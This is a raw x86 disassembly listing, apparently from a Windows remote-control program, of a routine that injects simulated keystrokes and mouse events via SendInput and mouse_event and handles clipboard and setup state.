mov dword [ebp - 0x48], 9
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x1b
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x10
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x20
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x5330f4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x2e
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x12
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x48], 0x11
mov cx, word [ebp - 0x48]
xor edx, edx
xor eax, eax
call fcn.004ce764
push eax
mov eax, dword [0x533310]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov dword [ebp - 0x7c4], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebx + 0x10]
cmp eax, 6
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d8105]
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 9
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x1b
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x10
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x20
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
mov word [ebp - 0x7c0], 0x11
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
xor eax, eax
mov dword [ebp - 0x7bc], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x2e
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x12
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b8]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7c0], 0x11
mov dword [ebp - 0x7bc], 2
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
cmp byte [0x531ff4], 1
jb case.0x4d6781.10
cmp dword [0x53a3cc], 0xb30e
ja case.0x4d6781.10
mov eax, dword [0x531ef0]
mov dword [0x531f00], eax
mov eax, dword [0x531ef4]
mov dword [0x531f04], eax
mov esi, 0x8000
lea eax, [ebx + 0x20]
mov dword [0x53a548], eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jg 0x4d8655
je 0x4d86b0
cmp eax, 0xa4
jg 0x4d863d
je 0x4d86ce
sub eax, 0x84
je 0x4d86b5
sub eax, 0x1c
je 0x4d86d8
dec eax
je 0x4d86ba
dec eax
je 0x4d86bf
jmp case.0x4d8663.515
sub eax, 0xa5
je 0x4d86d3
sub eax, 2
je 0x4d86c4
dec eax
je 0x4d86c9
jmp case.0x4d8663.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4d8663.515
jmp dword [eax*4 + 0x4d866a]
or esi, 2
jmp case.0x4d8663.515
or esi, 4
jmp case.0x4d8663.515
or esi, 0x20
jmp case.0x4d8663.515
or esi, 0x40
jmp case.0x4d8663.515
or esi, 8
jmp case.0x4d8663.515
or esi, 0x10
jmp case.0x4d8663.515
or esi, 1
jmp case.0x4d8663.515
or esi, 1
jmp case.0x4d8663.515
or esi, 2
jmp case.0x4d8663.515
or esi, 4
jmp case.0x4d8663.515
or esi, 0x20
jmp case.0x4d8663.515
or esi, 0x40
jmp case.0x4d8663.515
or esi, 8
jmp case.0x4d8663.515
or esi, 0x10
jmp case.0x4d8663.515
or esi, 1
jmp case.0x4d8663.515
or esi, 0x800
mov eax, dword [0x53a548]
mov edx, dword [0x53a4f4]
add dword [eax], edx
mov eax, dword [0x53a548]
mov edx, dword [0x53a4f8]
add dword [eax + 4], edx
mov eax, dword [0x53a548]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x532534]
sub edx, dword [0x53252c]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
mov eax, dword [0x53a548]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x532538]
sub edx, dword [0x532530]
dec edx
mov ecx, edx
cdq
idiv ecx
mov dword [ebp - 0x4c], eax
cmp dword [0x53a2cc], 0
je 0x4d875e
mov eax, edi
imul dword [0x53a2c8]
cdq
idiv dword [0x53a2cc]
mov edi, eax
cmp dword [0x53a2d4], 0
je 0x4d877a
mov eax, dword [ebp - 0x4c]
imul dword [0x53a2d0]
cdq
idiv dword [0x53a2d4]
mov dword [ebp - 0x4c], eax
cmp dword [ebx + 0x10], 0x20a
jne 0x4d8790
mov eax, dword [0x53a548]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x44], eax
jmp 0x4d8795
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x533330]
cmp dword [eax], 0
jne 0x4d87a4
call fcn.004cd010
mov eax, dword [0x533254]
cmp dword [eax], 0
jne 0x4d87b3
call fcn.004ce330
mov eax, dword [0x533410]
cmp dword [eax], 0
jne 0x4d87c2
call fcn.004cea8c
mov eax, dword [0x533330]
cmp dword [eax], 0
jle 0x4d88f8
cmp dword [ebx + 0x10], 0x20a
je 0x4d87f3
mov eax, dword [0x53a548]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53a548]
mov eax, dword [eax]
push eax
mov eax, dword [0x533228]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d8834
je case.0x4d880d.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d8814]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4d6781.10
jmp dword [eax*4 + 0x4d8849]
push 1
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 2
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x10
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0x20
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 4
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 8
mov eax, dword [0x5336bc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x53a548]
cmp dword [eax + 0x10], 0
jle 0x4d88e8
push 1
mov eax, dword [0x53330c]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 2
mov eax, dword [0x53330c]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533254]
cmp dword [eax], 0
jle 0x4d8a63
cmp dword [ebx + 0x10], 0x20a
je 0x4d8994
mov eax, dword [0x531fe0]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x53a5b8]
jne 0x4d8937
mov eax, dword [0x531fe0]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x53a5bc]
je 0x4d8972
mov eax, dword [0x531fe0]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x53a5b8], eax
mov eax, dword [0x531fe0]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x53a5bc], eax
mov eax, dword [0x53a5bc]
push eax
mov eax, dword [0x53a5b8]
push eax
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533510]
mov eax, dword [eax]
call eax
mov eax, dword [0x53a548]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53a548]
mov eax, dword [eax]
push eax
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533564]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d89b7
je 0x4d89d0
sub eax, 0xa1
je 0x4d89d0
dec eax
je 0x4d89e6
sub eax, 2
je 0x4d89fc
dec eax
je 0x4d8a12
jmp case.0x4d6781.10
sub eax, 0x202
je 0x4d89e6
sub eax, 2
je 0x4d89fc
dec eax
je 0x4d8a12
sub eax, 5
je 0x4d8a28
jmp case.0x4d6781.10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533640]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533848]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5331a0]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x5333dc]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x53a548]
cmp dword [eax + 0x10], 0
jle 0x4d8a4b
push 1
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533910]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0xffffffffffffffff
mov eax, dword [0x533924]
mov eax, dword [eax]
push eax
mov eax, dword [0x533910]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533410]
cmp dword [eax], 0
jle 0x4d8b33
cmp dword [ebx + 0x10], 0x20a
je 0x4d8a94
mov eax, dword [0x53a548]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x53a548]
mov eax, dword [eax]
push eax
mov eax, dword [0x5336b8]
mov eax, dword [eax]
call eax
mov eax, dword [ebx + 0x10]
cmp eax, 0x201
jg 0x4d8ab7
je 0x4d8ad0
sub eax, 0xa1
je 0x4d8ad0
dec eax
je 0x4d8ade
sub eax, 2
je 0x4d8aec
dec eax
je 0x4d8afa
jmp case.0x4d6781.10
sub eax, 0x202
je 0x4d8ade
sub eax, 2
je 0x4d8aec
dec eax
je 0x4d8afa
sub eax, 5
je 0x4d8b08
jmp case.0x4d6781.10
mov eax, dword [0x5337ac]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x5339e8]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x533308]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x5335a4]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
mov eax, dword [0x53a548]
cmp dword [eax + 0x10], 0
jle 0x4d8b23
push 1
mov eax, dword [0x5330e0]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
push 0xffffffffffffffff
mov eax, dword [0x5330e0]
mov eax, dword [eax]
call eax
jmp case.0x4d6781.10
cmp dword [ebx + 0x10], 0x200
je 0x4d8b53
push 0
push 0
mov eax, dword [ebp - 0x4c]
inc eax
push eax
lea eax, [edi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
cmp dword [ebx + 0x10], 0x20a
jne 0x4d8b78
push 0
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x4c]
inc eax
push eax
inc edi
push edi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4d6781.10
xor eax, eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7b4], esi
inc edi
mov dword [ebp - 0x7c0], edi
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x7bc], eax
xor eax, eax
mov dword [ebp - 0x7b8], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
push 0x1c
lea eax, [ebp - 0x7c4]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4d6781.10
cmp dword [0x531f30], 0x5230205
jb case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x928]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x928]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x92c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x92c]
call fcn.004093d8
mov dword [0x53a338], eax
mov eax, dword [ebp - 0x24]
call fcn.00403750
mov eax, dword [0x53a338]
add eax, 0x5b
cmp eax, dword [0x53a3cc]
jae 0x4d8c6b
push 0
push 0x3e8
mov eax, dword [0x531ef0]
mov edx, dword [0x531ef4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d8c6b
cmp eax, 0
je case.0x4d6781.10
mov ax, word [ebx + 0x1c]
and ax, 0xffff
mov word [0x53a370], ax
mov eax, dword [ebx + 0x1c]
shr eax, 0x10
and eax, 0x1f
mov esi, dword [eax*4 + 0x53248c]
mov eax, dword [ebx + 0x1c]
shr eax, 0x18
and al, 1
mov byte [0x53a3d0], al
mov eax, dword [ebx + 0x1c]
shr eax, 0x19
and al, 1
cmp al, 1
jne 0x4d8ca9
mov byte [0x531fac], 0xff
mov byte [0x531ff4], 0
xor eax, eax
mov dword [0x53a5b8], eax
jmp 0x4d8cc5
call fcn.004d595c
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5335d0]
cmp dword [eax], 0
jg 0x4d8cb9
cmp byte [ebx + 0xc], 0x87
setne al
neg al
sbb eax, eax
mov byte [0x531fc0], al
cmp byte [0x531fc0], 0
je 0x4d8d90
mov byte [0x53a39c], 0
mov eax, dword [ebx + 0x10]
mov dword [0x53a390], eax
mov eax, dword [ebx + 0x14]
mov dword [0x53a394], eax
mov eax, dword [ebx + 0x18]
shr eax, 0xc
and al, 0xf
mov byte [0x531fec], al
cmp byte [0x53a39d], 0
jle 0x4d8d25
mov al, byte [0x53a39d]
mov byte [0x531ff0], al
jmp 0x4d8d37
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 0xf
mov byte [0x531ff0], al
call fcn.004d1dc4
mov al, byte [ebx + 0x18]
and al, 0xf
mov byte [0x53a384], al
test esi, esi
jle 0x4d8d56
mov eax, esi
call fcn.004d59cc
shl eax, 2
mov dword [0x531fe8], eax
jmp 0x4d8d65
mov eax, esi
call fcn.004d59cc
shl eax, 3
mov dword [0x531fe8], eax
mov eax, dword [0x531fe8]
test eax, eax
jns 0x4d8d71
add eax, 3
sar eax, 2
call fcn.0040305c
mov edx, eax
neg eax
add eax, eax
mov dword [0x531fd4], eax
mov byte [0x53a3d0], 1
jmp 0x4d8e37
mov al, byte [ebx + 0x10]
and al, 0xff
mov byte [0x53a39c], al
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and al, 0xf
mov byte [0x531fec], al
cmp byte [0x531fec], 2
jne 0x4d8dc7
call fcn.0046e8cc
fcomp dword [0x4dbf58]
fnstsw ax
sahf
jbe 0x4d8dc7
mov byte [0x531fec], 3
cmp byte [0x53a39d], 0
jle 0x4d8ddc
mov al, byte [0x53a39d]
mov byte [0x531ff0], al
jmp 0x4d8dee
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x531ff0], al
call fcn.004d1dc4
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53a384], al
cmp dword [0x53a3cc], 0xb30e
ja 0x4d8e12
mov eax, esi
call fcn.004d59cc
mov dword [0x531fe8], eax
jmp 0x4d8e1c
mov dword [0x531fe8], 0x3e8
mov dword [0x531fd4], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x532510], eax
xor eax, eax
mov dword [0x53a3a0], eax
cmp byte [0x53a3d0], 0
je 0x4d8e49
cmp byte [0x53a3d1], 0
je 0x4d8e69
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004aead0
test al, al
je 0x4d8e69
call fcn.004aec80
cmp byte [0x531ff0], 3
je 0x4d8e77
call fcn.004cb124
cmp byte [0x531ff0], 4
je 0x4d8e85
call fcn.004cca44
cmp dword [0x53a51c], 3
jne 0x4d8ec2
movsx eax, byte [0x531fac]
mov edx, dword [0x531fe8]
call fcn.004cbe68
cmp byte [0x531ff0], 5
je 0x4d8eb3
or eax, 0xffffffff
call fcn.004cbdd0
jmp 0x4d8ee7
mov edx, 2
or eax, 0xffffffff
call fcn.004cbdfc
jmp 0x4d8ee7
cmp byte [0x531ff0], 5
je 0x4d8ed2
call fcn.004cb798
jmp 0x4d8ee7
mov eax, dword [0x533738]
cmp dword [eax], 0xffffffd8
jge 0x4d8ee7
mov eax, dword [0x533738]
mov dword [eax], 0xffffffd8
cmp byte [0x531fb0], 0
jne 0x4d90cc
mov dl, 1
mov eax, dword [0x4221c0]
call fcn.004287fc
mov dword [0x53a388], eax
mov dl, 7
mov eax, dword [0x53a388]
call fcn.00429d74
mov dl, 1
mov eax, dword [0x4221c0]
call fcn.004287fc
mov dword [0x53a38c], eax
mov dl, 7
mov eax, dword [0x53a38c]
call fcn.00429d74
cmp dword [0x531fc4], 0
jne 0x4d8f48
mov dl, 1
mov eax, dword [0x41446c]
call fcn.00403720
mov dword [0x531fc4], eax
cmp dword [0x531fc8], 0
jne 0x4d8f62
mov dl, 1
mov eax, dword [0x470a54]
call fcn.00470bec
mov dword [0x531fc8], eax
cmp dword [0x531fcc], 0
jne 0x4d8f7c
mov dl, 1
mov eax, dword [0x414dc0]
call fcn.00403720
mov dword [0x531fcc], eax
mov eax, dword [0x533a48]
cmp dword [eax], 0
jne 0x4d8f9a
mov dl, 1
mov eax, dword [0x41446c]
call fcn.00403720
mov edx, dword [0x533a48]
mov dword [edx], eax
mov eax, dword [0x533438]
cmp dword [eax], 0
jne 0x4d8fb8
mov dl, 1
mov eax, dword [0x470a54]
call fcn.00470bec
mov edx, dword [0x533438]
mov dword [edx], eax
mov eax, dword [0x533110]
cmp dword [eax], 0
jne 0x4d8fd6
mov dl, 1
mov eax, dword [0x41446c]
call fcn.00403720
mov edx, dword [0x533110]
mov dword [edx], eax
mov eax, dword [0x5334e4]
cmp dword [eax], 0
jne 0x4d8ff4
mov dl, 1
mov eax, dword [0x470a54]
call fcn.00470bec
mov edx, dword [0x5334e4]
mov dword [edx], eax
mov eax, dword [0x5334b0]
cmp byte [eax], 0
jne 0x4d90a5
push 0
push 3
lea eax, [ebp - 0x930]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x930]
mov edx, 0x4dbf64
call fcn.0046d098
mov dword [ebp - 0x48], eax
xor edx, edx
mov eax, dword [ebp - 0x48]
call fcn.004abd00
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x5334ec]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x934]
mov edx, dword [0x533514]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0x934]
mov edx, 0x4dbf7c
call fcn.0046d098
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4d909d
dec dword [ebp - 0x48]
mov cl, 1
mov dl, 1
mov eax, dword [0x4ecd10]
call fcn.0041f1f0
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f53c
cmp dword [ebp - 0x48], 0
jg 0x4d907b
mov eax, dword [0x5334b0]
mov byte [eax], 1
